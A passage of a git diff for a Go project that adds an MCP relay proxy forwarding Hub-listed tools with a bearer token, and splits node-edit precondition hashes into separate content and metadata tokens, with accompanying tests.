} + params = &sdkmcp.ListToolsParams{Cursor: page.NextCursor} + } +} + +// apply makes the server's relayed tools exactly listed. Only names with the +// relayed shape are taken, so a misbehaving endpoint cannot shadow a KEG tool. +func (p *relayProxy) apply(listed []*sdkmcp.Tool) { + want := map[string]*sdkmcp.Tool{} + for _, tool := range listed { + if tool != nil && IsRelayedToolName(tool.Name) { + want[tool.Name] = tool + } + } + var gone []string + for name := range p.tools { + if _, ok := want[name]; !ok { + gone = append(gone, name) + delete(p.tools, name) + } + } + if len(gone) > 0 { + p.srv.RemoveTools(gone...) + } + for name, tool := range want { + local := localRelayTool(tool) + key, _ := json.Marshal(local) + if p.tools[name] == string(key) { + continue + } + p.tools[name] = string(key) + p.srv.AddTool(local, p.handler(name)) + } +} + +// localRelayTool is the tool as this server offers it. The input schema must +// be a JSON object schema or the SDK refuses the tool, so anything else +// becomes the open object schema; Hub's relay validates the real arguments. +// The output schema is dropped: results pass through as the server sent them. +func localRelayTool(remote *sdkmcp.Tool) *sdkmcp.Tool { + local := *remote + local.OutputSchema = nil + var schema map[string]any + if raw, err := json.Marshal(remote.InputSchema); err != nil || json.Unmarshal(raw, &schema) != nil || schema["type"] != "object" { + local.InputSchema = map[string]any{"type": "object"} + } else { + local.InputSchema = schema + } + return &local +} + +func (p *relayProxy) handler(name string) sdkmcp.ToolHandler { + return func(ctx context.Context, req *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + session := p.current() + if session == nil { + return relayToolError("Hub is unreachable, so relayed tools cannot run right now."), nil + } + var args any + if req != nil && req.Params != nil && len(req.Params.Arguments) > 0 { + args = req.Params.Arguments + } + result, err := session.CallTool(ctx, &sdkmcp.CallToolParams{Name: name, Arguments: args}) + if err != nil { + select { + case p.kick <- struct{}{}: + default: + } + return relayToolError("The relayed tool call failed: " + err.Error()), nil + } + return result, nil + } +} + +func relayToolError(text string) *sdkmcp.CallToolResult { + return &sdkmcp.CallToolResult{IsError: true, Content: []sdkmcp.Content{&sdkmcp.TextContent{Text: text}}} +} + +// bearerTransport adds the current Hub token to every request. +type bearerTransport struct { + base http.RoundTripper + token func() string +} + +func (t bearerTransport) RoundTrip(req *http.Request) (*http.Response, error) { + base := t.base + if base == nil { + base = http.DefaultTransport + } + if t.token != nil { + if token := strings.TrimSpace(t.token()); token != "" { + req = req.Clone(req.Context()) + req.Header.Set("Authorization", "Bearer "+token) + } + } + return base.RoundTrip(req) +} diff --git a/pkg/mcp/relay_proxy_test.go b/pkg/mcp/relay_proxy_test.go new file mode 100644 index 0000000..2630437 --- /dev/null +++ b/pkg/mcp/relay_proxy_test.go @@ -0,0 +1,141 @@ +package mcp_test + +import ( + "context" + "net/http" + "net/http/httptest" + "slices" + "sync" + "testing" + "time" + + sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" + "github.com/stretchr/testify/require" + + "github.com/jlrickert/tapper/pkg/mcp" +) + +const relayEcho = "mcp__alice__everything__echo" + +// fakeRelayHub serves a /mcp/relay stand-in with one relayed tool, recording +// the bearer token of each request. +func fakeRelayHub(t *testing.T) (*httptest.Server, *sdkmcp.Server, func() []string) { + t.Helper() + remote := sdkmcp.NewServer(&sdkmcp.Implementation{Name: "hub", Version: "test"}, nil) + remote.AddTool(&sdkmcp.Tool{ + Name: relayEcho, + Description: "Runs on your relay laptop.", + InputSchema: map[string]any{"type": "object", "properties": map[string]any{"message": map[string]any{"type": "string"}}}, + }, func(_ context.Context, req *sdkmcp.CallToolRequest) (*sdkmcp.CallToolResult, error) { + return &sdkmcp.CallToolResult{Content: []sdkmcp.Content{&sdkmcp.TextContent{Text: "echo: " + string(req.Params.Arguments)}}}, nil + }) + var ( + mu sync.Mutex + auths []string + ) + handler := sdkmcp.NewStreamableHTTPHandler(func(*http.Request) *sdkmcp.Server { return remote }, nil) + ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + mu.Lock() + auths = append(auths, r.Header.Get("Authorization")) + mu.Unlock() + handler.ServeHTTP(w, r) + })) + t.Cleanup(ts.Close) + return ts, remote, func() []string { + mu.Lock() + defer mu.Unlock() + return slices.Clone(auths) + } +} + +// relayLocalSession is tap mcp's server, held to an agent whose tool list +// does not name the relayed tool, proxying endpoint. +func relayLocalSession(t *testing.T, endpoint string) (*sdkmcp.ClientSession, context.Context) { + t.Helper() + ctx := context.Background() + sb := newTestSandbox(t) + tap := newMemoryTap(t, ctx, sb.Runtime()) + srv := mcp.NewServer(tap, "test", mcp.KegDefaults{}) + allow := &mcp.ToolAllowlist{Agent: "@alice/agent", Names: []string{"node_read"}} + srv.AddReceivingMiddleware(allow.Middleware) + stop := mcp.StartRelayProxy(ctx, srv, mcp.RelayProxyOptions{ + Endpoint: endpoint, + Token: func() string { return "hub-token" }, + Refresh: 50 * time.Millisecond, + }) + t.Cleanup(stop) + serverTransport, clientTransport := sdkmcp.NewInMemoryTransports() + _, err := srv.Connect(ctx, serverTransport, nil) + require.NoError(t, err) + client := sdkmcp.NewClient(&sdkmcp.Implementation{Name: "claude", Version: "test"}, nil) + session, err := client.Connect(ctx, clientTransport, nil) + require.NoError(t, err) + t.Cleanup(func() { _ = session.Close() }) + return session, ctx +} + +func relayToolNames(t *testing.T, ctx context.Context, session *sdkmcp.ClientSession) []string { + t.Helper() + list, err := session.ListTools(ctx, nil) + require.NoError(t, err) + var out []string + for _, tool := range list.Tools { + out = append(out, tool.Name) + } + return out +} + +func TestRelayProxy_ListsCallsAndDropsRelayedTools(t *testing.T) { + t.Parallel() + hub, remote, auths := fakeRelayHub(t) + session, ctx := relayLocalSession(t, hub.URL) + + require.Eventually(t, func() bool { return slices.Contains(relayToolNames(t, ctx, session), relayEcho) }, 5*time.Second, 20*time.Millisecond, + "the relayed tool is listed beside the KEG tools, past the agent's allowlist") + require.Contains(t, relayToolNames(t, ctx, session), "node_read") + require.Contains(t, auths(), "Bearer hub-token") + + res, err := session.CallTool(ctx, &sdkmcp.CallToolParams{Name: relayEcho, Arguments: map[string]any{"message": "hi"}}) + require.NoError(t, err) + require.False(t, res.IsError) + require.Len(t, res.Content, 1) + require.Equal(t, `echo: {"message":"hi"}`, res.Content[0].(*sdkmcp.TextContent).Text, + "the relayed result passes through unwrapped") + + remote.RemoveTools(relayEcho) + require.Eventually(t, func() bool { return !slices.Contains(relayToolNames(t, ctx, session), relayEcho) }, 5*time.Second, 20*time.Millisecond, + "a tool Hub stops listing drops out") +} + +func TestRelayProxy_UnreachableHubLeavesKEGToolsWorking(t *testing.T) { + t.Parallel() + hub, _, _ := fakeRelayHub(t) + endpoint := hub.URL + hub.Close() + session, ctx := relayLocalSession(t, endpoint) + time.Sleep(150 * time.Millisecond) + names := relayToolNames(t, ctx, session) + require.Contains(t, names, "node_read") + require.NotContains(t, names, relayEcho) +} + +func TestIsRelayedToolName(t *testing.T) { + t.Parallel() + for name, want := range map[string]bool{ + "mcp__alice__everything__echo": true, + "mcp__acme__claude__claude_code_run": true, + "node_read": false, + "mcp__alice__echo": false, + } { + require.Equal(t, want, mcp.IsRelayedToolName(name), name) + } +} + +func TestToolAllowlist_AdmitsRelayedToolsUnlessRefused(t *testing.T) { + t.Parallel() + allow := &mcp.ToolAllowlist{Agent: "@alice/agent", Names: []string{"node_read"}} + require.True(t, allow.Allows(relayEcho)) + require.False(t, allow.Allows("node_create")) + refused := &mcp.ToolAllowlist{Agent: "@alice/agent", Refused: "agent could not be loaded"} + require.False(t, refused.Allows(relayEcho), "a failed agent load fails closed for relayed tools too") +} diff --git a/pkg/mcp/server.go b/pkg/mcp/server.go index b95bb57..eb5a175 100644 --- a/pkg/mcp/server.go +++ b/pkg/mcp/server.go @@ -262,16 +262,26 @@ func errorResult(err error) *sdkmcp.CallToolResult { } var conflict *keg.PreconditionConflictError if errors.As(err, &conflict) { + structured := map[string]any{ + "code": keg.RemoteCodeConflict, + "operationPerformed": false, + "currentHash": conflict.CurrentHash, + "currentContent": string(conflict.CurrentContent), + "action": "read the current resource, merge the change, and retry with currentHash", + } + if conflict.CurrentContentHash != "" || conflict.CurrentMetaHash != "" { + if conflict.CurrentContentHash != "" { + structured["currentContentHash"] = conflict.CurrentContentHash + } + if conflict.CurrentMetaHash != "" { + structured["currentMetaHash"] = conflict.CurrentMetaHash + } + structured["action"] = "read the current node, merge the change, and retry node_edit with currentContentHash as expected_content_hash and currentMetaHash as expected_meta_hash (node_delete and node_move take currentHash)" + } return &sdkmcp.CallToolResult{ - Content: []sdkmcp.Content{&sdkmcp.TextContent{Text: err.Error()}}, - StructuredContent: map[string]any{ - "code": keg.RemoteCodeConflict, - "operationPerformed": false, - "currentHash": conflict.CurrentHash, - "currentContent": string(conflict.CurrentContent), - "action": "read the current resource, merge the change, and retry with currentHash", - }, - IsError: true, + Content: []sdkmcp.Content{&sdkmcp.TextContent{Text: err.Error()}}, + StructuredContent: structured, + IsError: true, } } if errors.Is(err, keg.ErrUnauthorized) || errors.Is(err, keg.ErrForbidden) || diff --git a/pkg/mcp/server_test.go b/pkg/mcp/server_test.go index eb98c5f..a00cbfa 100644 --- a/pkg/mcp/server_test.go +++ b/pkg/mcp/server_test.go @@ -327,7 +327,7 @@ func TestMCP_Cat(t *testing.T) { }, }) require.NoError(t, err) - text := extractText(t, res) + text := nodeReadText(t, res) require.False(t, res.IsError, "cat returned error: %s", text) require.Contains(t, text, "Personal Overview") } @@ -391,7 +391,7 @@ func TestMCP_CatContentOnly(t *testing.T) { }) require.NoError(t, err) require.False(t, res.IsError) - text := extractText(t, res) + text := nodeReadText(t, res) require.Contains(t, text, "# Personal Overview") } @@ -760,7 +760,7 @@ func TestMCP_Create(t *testing.T) { }, }) require.NoError(t, err) - readText := extractText(t, readRes) + readText := nodeReadText(t, readRes) require.False(t, readRes.IsError, "cat returned error: %s", readText) require.Contains(t, readText, "# New Node") require.Contains(t, readText, "A node created via MCP.") @@ -876,7 +876,7 @@ func TestMCP_CreateWithBody(t *testing.T) { }, }) require.NoError(t, err) - readText := extractText(t, readRes) + readText := nodeReadText(t, readRes) require.Contains(t, readText, "# Custom Title") require.Contains(t, readText, "Custom body content.") } @@ -895,15 +895,15 @@ func TestMCP_Edit(t *testing.T) { require.NoError(t, err) nodeID := extractText(t, createRes) require.False(t, createRes.IsError) - expectedHash := readNodeHash(t, session, ctx, nodeID) + expectedHash := readContentHash(t, session, ctx, nodeID) // Edit it. editRes, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": nodeID, - "content": "# After Edit\n\nEdited via MCP.\n", - "expected_hash": expectedHash, + "node_id": nodeID, + "content": "# After Edit\n\nEdited via MCP.\n", + "expected_content_hash": expectedHash, }), }) require.NoError(t, err) @@ -918,7 +918,7 @@ func TestMCP_Edit(t *testing.T) { }, }) require.NoError(t, err) - readText := extractText(t, readRes) + readText := nodeReadText(t, readRes) require.Contains(t, readText, "# After Edit") require.Contains(t, readText, "Edited via MCP.") } @@ -932,9 +932,8 @@ func metaOnlyText(t *testing.T, session *sdkmcp.ClientSession, ctx context.Conte Arguments: map[string]any{"node_ids": []string{nodeID}, "meta_only": true}, }) require.NoError(t, err) - text := extractText(t, res) - require.False(t, res.IsError, "cat meta_only returned error: %s", text) - return text + require.False(t, res.IsError, "cat meta_only returned error: %s", extractText(t, res)) + return nodeReadText(t, res) } func TestMCP_MetaReadThroughCat(t *testing.T) { @@ -957,14 +956,14 @@ func TestMCP_EditWritesMeta(t *testing.T) { }) require.NoError(t, err) nodeID := extractText(t, createRes) - expectedHash := readNodeHash(t, session, ctx, nodeID) + expectedHash := readMetaHash(t, session, ctx, nodeID) writeRes, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": nodeID, - "meta": "tags:\n - updated\n - mcp\n", - "expected_hash": expectedHash, + "node_id": nodeID, + "meta": "tags:\n - updated\n - mcp\n", + "expected_meta_hash": expectedHash, }), }) require.NoError(t, err) @@ -992,10 +991,10 @@ func TestMCP_EditWritesContentAndMetaTogether(t *testing.T) { res, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": nodeID, - "content": "# After Both\n\nRewritten body.\n", - "meta": "tags:\n - both\n", - "expected_hash": readNodeHash(t, session, ctx, nodeID), + "node_id": nodeID, + "content": "# After Both\n\nRewritten body.\n", + "meta": "tags:\n - both\n", + "expected_content_hash": readContentHash(t, session, ctx, nodeID), "expected_meta_hash": readMetaHash(t, session, ctx, nodeID), }), }) require.NoError(t, err) @@ -1008,7 +1007,7 @@ func TestMCP_EditWritesContentAndMetaTogether(t *testing.T) { Arguments: map[string]any{"node_ids": []string{nodeID}, "content_only": true}, }) require.NoError(t, err) - require.Contains(t, extractText(t, contentRes), "# After Both") + require.Contains(t, nodeReadText(t, contentRes), "# After Both") } // TestMCP_EditRejectsFrontmatterInContent pins the footgun this refactor @@ -1028,9 +1027,9 @@ func TestMCP_EditRejectsFrontmatterInContent(t *testing.T) { res, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": nodeID, - "content": "---\ntags:\n - sneaky\n---\n\n# Body\n", - "expected_hash": readNodeHash(t, session, ctx, nodeID), + "node_id": nodeID, + "content": "---\ntags:\n - sneaky\n---\n\n# Body\n", + "expected_content_hash": readContentHash(t, session, ctx, nodeID), }), }) require.NoError(t, err) @@ -1049,8 +1048,8 @@ func TestMCP_EditRequiresContentOrMeta(t *testing.T) { res, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": "0", - "expected_hash": readNodeHash(t, session, ctx, "0"), + "node_id": "0", + "expected_content_hash": readContentHash(t, session, ctx, "0"), }), }) require.NoError(t, err) @@ -1067,10 +1066,10 @@ func TestMCP_EditRejectsSnapshotBefore(t *testing.T) { res, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": "0", - "content": "# Zero\n", - "expected_hash": readNodeHash(t, session, ctx, "0"), - "snapshot_before": true, + "node_id": "0", + "content": "# Zero\n", + "expected_content_hash": readContentHash(t, session, ctx, "0"), + "snapshot_before": true, }), }) require.NoError(t, err) @@ -1163,7 +1162,7 @@ func TestMCP_Move(t *testing.T) { }, }) require.NoError(t, err) - newText := extractText(t, newRes) + newText := nodeReadText(t, newRes) require.False(t, newRes.IsError, "cat returned error: %s", newText) require.Contains(t, newText, "Movable Node") } @@ -1236,7 +1235,7 @@ func TestMCP_NodeSnapshotAndHistory(t *testing.T) { }, }) require.NoError(t, err) - currentText := extractText(t, currentRes) + currentText := nodeReadText(t, currentRes) require.False(t, currentRes.IsError, "cat returned error: %s", currentText) require.Contains(t, currentText, "This is the zero node of the personal KEG.") } diff --git a/pkg/mcp/session_flight.go b/pkg/mcp/session_flight.go index 9a21391..a70e91b 100644 --- a/pkg/mcp/session_flight.go +++ b/pkg/mcp/session_flight.go @@ -665,7 +665,9 @@ func (g *sessionFlightGate) middleware(next sdkmcp.MethodHandler) sdkmcp.MethodH if tool.Name == toolListTransitionMarker { continue } - if allowed != nil && !allowed[tool.Name] { + // Relayed tools carry no KEG authority: a missing or + // locked flight does not hide them. + if allowed != nil && !allowed[tool.Name] && !IsRelayedToolName(tool.Name) { continue } copyTool := *tool @@ -688,6 +690,9 @@ func (g *sessionFlightGate) middleware(next sdkmcp.MethodHandler) sdkmcp.MethodH // them or the calls after them from a cached resolution. g.forgetResolution(sessionID) } + if params != nil && IsRelayedToolName(params.Name) { + return next(ctx, method, req) + } if allowed := allowedTools(current); params != nil && allowed != nil && !allowed[params.Name] { return errorResult(lockedError(current)), nil } diff --git a/pkg/mcp/tool_allowlist.go b/pkg/mcp/tool_allowlist.go index aa2110c..e5b27c4 100644 --- a/pkg/mcp/tool_allowlist.go +++ b/pkg/mcp/tool_allowlist.go @@ -38,6 +38,12 @@ func (a *ToolAllowlist) Allows(name string) bool { if a.Refused != "" { return false } + // Hub already applied the agent's gate to relayed tools (the session asks + // /mcp/relay as that agent); its tool list names the relay group, not + // each relayed tool. + if IsRelayedToolName(name) { + return true + } return len(a.Names) == 0 || slices.Contains(a.Names, name) } diff --git a/pkg/mcp/tools_flight_lock_test.go b/pkg/mcp/tools_flight_lock_test.go index 057078b..0263136 100644 --- a/pkg/mcp/tools_flight_lock_test.go +++ b/pkg/mcp/tools_flight_lock_test.go @@ -22,7 +22,7 @@ func TestMCP_DefaultFlightRestrictsKegs(t *testing.T) { }, }) require.NoError(t, err) - coveredText := extractText(t, covered) + coveredText := nodeReadText(t, covered) require.False(t, covered.IsError, "covered cat returned error: %s", coveredText) require.Contains(t, coveredText, "# Personal Overview") @@ -66,7 +66,7 @@ func TestMCP_OutsideToolFlightCannotOverridePinnedRoot(t *testing.T) { }, }) require.NoError(t, err) - coveredText := extractText(t, covered) + coveredText := nodeReadText(t, covered) require.False(t, covered.IsError, "session flight must remain active: %s", coveredText) require.Contains(t, coveredText, "# Personal Overview") _ = privateID diff --git a/pkg/mcp/tools_read.go b/pkg/mcp/tools_read.go index 143b573..65d2cae 100644 --- a/pkg/mcp/tools_read.go +++ b/pkg/mcp/tools_read.go @@ -41,33 +41,57 @@ type catInput struct { // // Content and Meta are populated to match the read mode and are exactly the // fields `node_edit` accepts, so a row can be modified and sent straight back. +// +// ContentHash and MetaHash are the per-part tokens node_edit takes, present +// only for the parts the read mode returned. Hash is the combined token +// node_delete and node_move take. type nodeReadOutput struct { - NodeID string `json:"node_id"` - Hash string `json:"hash"` - Content string `json:"content,omitempty"` - Meta string `json:"meta,omitempty"` - Stats string `json:"stats,omitempty"` + NodeID string `json:"node_id"` + Hash string `json:"hash"` + ContentHash string `json:"content_hash,omitempty"` + MetaHash string `json:"meta_hash,omitempty"` + Content string `json:"content,omitempty"` + Meta string `json:"meta,omitempty"` + Stats string `json:"stats,omitempty"` } func nodeReadOutputs(ctx context.Context, views []keg.NodeView, opts tapper.CatOptions) []nodeReadOutput { out := make([]nodeReadOutput, 0, len(views)) for _, view := range views { content, meta, stats := tapper.CatViewDocument(ctx, view, opts) - out = append(out, nodeReadOutput{ + row := nodeReadOutput{ NodeID: view.ID.Path(), Hash: view.Hash(), Content: content, Meta: meta, Stats: stats, - }) + } + if !opts.MetaOnly && !opts.StatsOnly { + row.ContentHash = view.ContentHash() + } + if !opts.ContentOnly && !opts.StatsOnly { + row.MetaHash = view.MetaHash() + } + out = append(out, row) } return out } +// nodeReadSummary is node_read's text message when structured rows carry the +// documents: repeating each body in the text would send it twice. +func nodeReadSummary(count int) string { + if count == 1 { + return "Read 1 node; its document is in nodes[]" + } + return fmt.Sprintf("Read %d nodes; each document is in nodes[]", count) +} + func registerCat(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaults) { sdkmcp.AddTool(srv, &sdkmcp.Tool{ Name: "node_read", Description: "Read KEG nodes using node_ids or query; they are mutually exclusive, and omitting both returns no nodes. The default returns metadata and content together; " + "meta_only returns just the metadata document, which is how you read metadata before " + - "editing it. Each result carries the node's hash; pass it back as expected_hash when " + - "editing that node.", + "editing it. Each result carries content_hash (when content was read) and meta_hash (when " + + "metadata was read): pass content_hash as expected_content_hash and meta_hash as " + + "expected_meta_hash to node_edit. Each part's hash is independent, so editing one part " + + "never invalidates the other's. The combined hash is for node_delete and node_move.", Annotations: &sdkmcp.ToolAnnotations{ ReadOnlyHint: true, OpenWorldHint: boolPtr(false), @@ -87,7 +111,12 @@ func registerCat(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaults) { if err != nil { return errorResult(err), nil, nil } - res := textResult(tapper.FormatCatViews(ctx, views, opts)) + if len(views) == 0 { + res := textResult(tapper.FormatCatViews(ctx, views, opts)) + res.StructuredContent = map[string]any{"nodes": nodeReadOutputs(ctx, views, opts)} + return res, nil, nil + } + res := textResult(nodeReadSummary(len(views))) res.StructuredContent = map[string]any{"nodes": nodeReadOutputs(ctx, views, opts)} return res, nil, nil }) @@ -338,6 +367,8 @@ func registerKegSettings(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaul } res := textResult(result) if !minimal { + // The document travels once, in data; the text is only a pointer. + res = textResult("Settings are in data.") // Only the full read returns the stored document verbatim (raw // file bytes, or cfg.String() for a remote keg) — the same source // keg_settings_edit replaces. The minimal render is a cross-keg diff --git a/pkg/mcp/tools_settings_batch_test.go b/pkg/mcp/tools_settings_batch_test.go index 7cac448..cd963e2 100644 --- a/pkg/mcp/tools_settings_batch_test.go +++ b/pkg/mcp/tools_settings_batch_test.go @@ -80,6 +80,7 @@ func TestMCP_KegSettingsMinimalIncludesInstructions(t *testing.T) { "minimal": false, }) require.False(t, full.IsError, extractText(t, full)) - require.Contains(t, extractText(t, full), "kegv:") - require.Contains(t, extractText(t, full), "title: Personal KEG") + require.Equal(t, "Settings are in data.", extractText(t, full), "the document travels once, in data") + require.Contains(t, structuredMap(t, full)["data"], "kegv:") + require.Contains(t, structuredMap(t, full)["data"], "title: Personal KEG") } diff --git a/pkg/mcp/tools_write.go b/pkg/mcp/tools_write.go index 27c5036..040fa5c 100644 --- a/pkg/mcp/tools_write.go +++ b/pkg/mcp/tools_write.go @@ -139,23 +139,29 @@ type editInput struct { Keg string `json:"keg,omitempty" jsonschema:"keg alias (uses default if empty)"` } type editItemInput struct { - NodeID string `json:"node_id" jsonschema:"id of the node to update"` - Content *string `json:"content,omitempty" jsonschema:"replacement markdown body, replacing the node's content entirely. Must not start with a YAML frontmatter block: metadata goes in the meta field. Omit to leave content unchanged."` - Meta *string `json:"meta,omitempty" jsonschema:"replacement metadata document as YAML, replacing the node's metadata entirely. Omit to leave metadata unchanged."` - ExpectedHash string `json:"expected_hash" jsonschema:"precondition token returned by node_read. One hash covers content and metadata together, so a call that changes only one of them still invalidates the other's hash."` - Schema string `json:"schema,omitempty" jsonschema:"schema selected for this write. Writes meta.type; a different type declared in meta is a hard error, not an override. Required when strict policy and agent mode both block."` + NodeID string `json:"node_id" jsonschema:"id of the node to update"` + Content *string `json:"content,omitempty" jsonschema:"replacement markdown body, replacing the node's content entirely. Must not start with a YAML frontmatter block: metadata goes in the meta field. Omit to leave content unchanged."` + Meta *string `json:"meta,omitempty" jsonschema:"replacement metadata document as YAML, replacing the node's metadata entirely. Omit to leave metadata unchanged."` + ExpectedContentHash string `json:"expected_content_hash,omitempty" jsonschema:"content_hash from node_read (or from a previous node_edit result); required when content is supplied"` + ExpectedMetaHash string `json:"expected_meta_hash,omitempty" jsonschema:"meta_hash from node_read (or from a previous node_edit result); required when meta is supplied"` + Schema string `json:"schema,omitempty" jsonschema:"schema selected for this write. Writes meta.type; a different type declared in meta is a hard error, not an override. Required when strict policy and agent mode both block."` } +// nodeUpdateOutput carries the written node's tokens. content_hash and +// meta_hash are what a follow-up node_edit echoes back, so a second edit +// needs no re-read; hash is the combined token node_delete and node_move take. type nodeUpdateOutput struct { - NodeID string `json:"node_id"` - Hash string `json:"hash"` - Validation *keg.SchemaValidationResult `json:"validation,omitempty"` + NodeID string `json:"node_id"` + Hash string `json:"hash"` + ContentHash string `json:"content_hash,omitempty"` + MetaHash string `json:"meta_hash,omitempty"` + Validation *keg.SchemaValidationResult `json:"validation,omitempty"` } func nodeUpdateOutputs(results []keg.NodeUpdateResult) []nodeUpdateOutput { out := make([]nodeUpdateOutput, len(results)) for i, item := range results { - out[i] = nodeUpdateOutput{NodeID: item.ID.Path(), Hash: item.Hash, Validation: item.Validation} + out[i] = nodeUpdateOutput{NodeID: item.ID.Path(), Hash: item.Hash, ContentHash: item.ContentHash, MetaHash: item.MetaHash, Validation: item.Validation} } return out } @@ -166,11 +172,13 @@ func registerEdit(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaults) { Description: "Atomically replace the content and/or metadata of 1-100 nodes. " + "Supply content, meta, or both for each node; at least one is required. " + "content is the markdown body and must not begin with a YAML frontmatter block — metadata goes in meta. " + - "One expected_hash covers a node's content and metadata together, so changing either invalidates the hash for both. " + - "Call node_read first for every node and pass each returned hash as that node's expected_hash; node_read meta_only reads metadata. " + + "Each part has its own precondition token: pass node_read's content_hash as expected_content_hash when supplying content, and its meta_hash as expected_meta_hash when supplying meta. " + + "Editing content never invalidates meta_hash and editing meta never invalidates content_hash, so a concurrent edit to the other part does not conflict. " + + "Call node_read first for every node; node_read meta_only reads metadata. " + + "Each result returns the node's new content_hash and meta_hash, so a follow-up edit needs no re-read; its combined hash (for node_delete or node_move) changes with every edit. " + "Take a snapshot with snapshot_create before a large or destructive edit. " + "A schema selection is required only when strict policy and the resolved agent mode both block. " + - "On conflict, merge into the returned current content (or refetch with node_read) and retry with the returned current hash.", + "On conflict, merge into the returned current content (or refetch with node_read) and retry with the returned current hash for the part you are writing: currentContentHash as expected_content_hash, currentMetaHash as expected_meta_hash.", InputSchema: boundedMutationInputSchema[editInput]("nodes"), Annotations: &sdkmcp.ToolAnnotations{ DestructiveHint: boolPtr(false), @@ -180,7 +188,7 @@ func registerEdit(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaults) { ctx = keg.WithValidationActor(ctx, keg.ValidationActorAgent) edits := make([]tapper.BatchEditItem, len(in.Nodes)) for i, item := range in.Nodes { - edit := tapper.BatchEditItem{NodeID: item.NodeID, Schema: item.Schema, ExpectedHash: item.ExpectedHash} + edit := tapper.BatchEditItem{NodeID: item.NodeID, Schema: item.Schema, ExpectedContentHash: item.ExpectedContentHash, ExpectedMetaHash: item.ExpectedMetaHash} if item.Content != nil { edit.Content, edit.HasContent = *item.Content, true } @@ -208,13 +216,13 @@ type removeInput struct { type removeNodeInput struct { NodeID string `json:"node_id"` - ExpectedHash string `json:"expected_hash" jsonschema:"precondition token returned by node_read"` + ExpectedHash string `json:"expected_hash" jsonschema:"the combined hash returned by node_read (not content_hash or meta_hash)"` } func registerRemove(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaults) { sdkmcp.AddTool(srv, &sdkmcp.Tool{ Name: "node_delete", - Description: "Call node_read first for every node, then atomically remove 1-100 nodes using each returned hash as that node's expected_hash. On conflict, refetch with node_read and retry with the returned current hash.", + Description: "Call node_read first for every node, then atomically remove 1-100 nodes using the hash from node_read (the combined hash, not content_hash or meta_hash) as that node's expected_hash. On conflict, refetch with node_read and retry with the returned current hash.", InputSchema: boundedMutationInputSchema[removeInput]("nodes"), Annotations: &sdkmcp.ToolAnnotations{ DestructiveHint: boolPtr(true), @@ -245,14 +253,14 @@ func registerRemove(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaults) { type moveInput struct { SourceID string `json:"source_id" jsonschema:"source node ID"` DestID string `json:"dest_id" jsonschema:"destination node ID"` - ExpectedHash string `json:"expected_hash" jsonschema:"precondition token returned by node_read"` + ExpectedHash string `json:"expected_hash" jsonschema:"the combined hash returned by node_read (not content_hash or meta_hash)"` Keg string `json:"keg,omitempty" jsonschema:"keg alias (uses default if empty)"` } func registerMove(srv *sdkmcp.Server, tap *tapper.Tap, defaults KegDefaults) { sdkmcp.AddTool(srv, &sdkmcp.Tool{ Name: "node_move", - Description: "Call node_read first, then move (rename) a KEG node to a new ID using the returned hash as expected_hash. On conflict, refetch with node_read and retry with the returned current hash.", + Description: "Call node_read first, then move (rename) a KEG node to a new ID using the hash from node_read (the combined hash, not content_hash or meta_hash) as expected_hash. On conflict, refetch with node_read and retry with the returned current hash.", Annotations: &sdkmcp.ToolAnnotations{ DestructiveHint: boolPtr(true), OpenWorldHint: boolPtr(false), diff --git a/pkg/parity/parity_coverage_test.go b/pkg/parity/parity_coverage_test.go index 025bfa3..0e1559b 100644 --- a/pkg/parity/parity_coverage_test.go +++ b/pkg/parity/parity_coverage_test.go @@ -183,6 +183,7 @@ var tapMethodsExcluded = map[string]string{ "ResolveLaunch": "pure resolution half of Launch, exposed so a dry run and a real run cannot drift", "ResolveLaunchContext": "ResolveLaunch with a context for hub mode's catalog lookup; same CLI-only launch surface", "HubAgent": "loads the launched session's Hub agent so `tap mcp` can serve only its tools; plumbing for TAP_AGENT, not an operation", + "HubRelayTools": "resolves Hub's /mcp/relay endpoint and token so `tap mcp` can proxy relayed tools; plumbing, not an operation", } // TestCoverage_AllTapMethodsHaveBothSurfaces uses reflection to enumerate diff --git a/pkg/parity/parity_test.go b/pkg/parity/parity_test.go index 2175757..e32430e 100644 --- a/pkg/parity/parity_test.go +++ b/pkg/parity/parity_test.go @@ -253,6 +253,27 @@ func (e *parityEnv) nodeHash(nodeID string) string { return hash } +// contentHash and metaHash return the per-part tokens node_edit takes. +func (e *parityEnv) contentHash(nodeID string) string { + e.t.Helper() + return e.partHashes(nodeID).ContentHash() +} + +func (e *parityEnv) metaHash(nodeID string) string { + e.t.Helper() + return e.partHashes(nodeID).MetaHash() +} + +func (e *parityEnv) partHashes(nodeID string) keg.NodeView { + e.t.Helper() + views, err := e.tap.CatViews(e.ctx, tapper.CatOptions{NodeIDs: []string{nodeID}}) + require.NoError(e.t, err) + require.Len(e.t, views, 1) + require.NotEmpty(e.t, views[0].ContentHash()) + require.NotEmpty(e.t, views[0].MetaHash()) + return views[0] +} + type mcpError struct { msg string } @@ -264,6 +285,12 @@ func extractText(t *testing.T, res *sdkmcp.CallToolResult) string { // CLI parity compares operation content with MCP's legacy message field; // MCP transport tests independently check the full public JSON contract. if payload, ok := res.StructuredContent.(map[string]any); ok { + // node_read sends each document once, in nodes[]; its message is only + // a summary. Render the rows the way the CLI does so the two surfaces + // stay comparable. + if rows, ok := payload["nodes"].([]any); ok && len(rows) > 0 && !res.IsError { + return renderNodeReadRows(rows) + } if message, ok := payload["message"].(string); ok { 